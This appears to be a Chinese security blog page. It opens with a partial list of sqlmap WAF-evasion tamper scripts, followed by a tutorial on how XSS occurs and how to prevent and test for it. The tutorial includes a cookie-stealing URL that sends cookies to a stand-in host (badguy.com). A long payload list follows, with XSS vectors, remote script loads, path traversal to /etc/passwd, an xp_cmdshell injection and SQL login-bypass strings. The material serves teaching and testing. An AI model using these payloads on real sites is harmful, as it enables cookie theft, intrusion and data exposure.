03. appendnullbyte.py 在payload末尾添加空字符编码

04. base64encode.py 对给定的payload全部字符使用Base64编码

05. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

06. bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

07. chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

08. charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)

09. charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

10. concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

11. equaltolike.py 用“LIKE”运算符替换全部等于号“=”

12. greatest.py 用“GREATEST”函数替换大于号“>”

13. halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释

14. ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

15. lowercase.py 用小写值替换每个关键字字符

16. modsecurityversioned.py 用注释包围完整的查询

17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询

18. multiplespaces.py 在SQL关键字周围添加多个空格

19. nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器

20. overlongutf8.py 转换给定的payload当中的所有字符

21. percentage.py 在每个字符之前添加一个百分号

22. randomcase.py 随机转换每个关键字字符的大小写

23. randomcomments.py 向SQL关键字中插入随机注释

24. securesphere.py 添加经过特殊构造的字符串

25. sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

26. space2comment.py 用“/**/”替换空格符

27. space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符

28. space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

29. space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

31. space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符

32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

33. space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符

34. space2plus.py 用加号“+”替换空格符

35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

36. unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”

37. unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符

38. varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF

39. versionedkeywords.py 用MySQL注释包围每个非函数关键字

40. versionedmorekeywords.py 用MySQL注释包围每个关键字

41. xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF


admin 发布于  2016-4-13 19:13 

结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防 代码人生

定义(来自百度百科):

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS的工作流程大致如下(图片来自网络):3.jpg

下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:1.png

这是获取一个网站管理员的cookies

点击查看原图

这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。

下面就具体的分析一下是如何形成并且发生的:


假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

4.png


XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。5.jpg

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
6.png

XSS 攻击场景


1. Dom-Based XSS 漏洞 攻击过程如下


Tom 发现了Victim.com中的一个页面有XSS漏洞,


例如: http://victim.com/search.asp?term=apple


服务器中Search.asp 页面的代码大概如下

<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>


Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。

然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.


2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下


Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,


Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。


其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。


Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复



原则: 不相信客户输入的数据

注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
  6. 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。

如何测试XSS漏洞?


方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量


<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞


在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行


方法三:  自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

附上一些常用的XSS测试代码:


"/><script>alert("测试一下,哈哈")</script><!-
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–“<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://www.testsite.com/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:”>
<IMG src=”livescript:”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME src=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<BASE href=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);
<XML src=”javascript:alert(‘XSS’);”>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“
<SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG src=”javascript:alert(‘XSS’)”
<!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–>
<IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”>
<SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT src=”http://www.testsite.com/a.js”></SCRIPT>
<A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A>
admin’–
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”a

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。


HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。


例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477


所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)


在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)


Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

7.png



如果需要做测试, 最好使用IE7-。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

8.png



很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。


如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss

参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html


admin 发布于  2016-4-10 16:44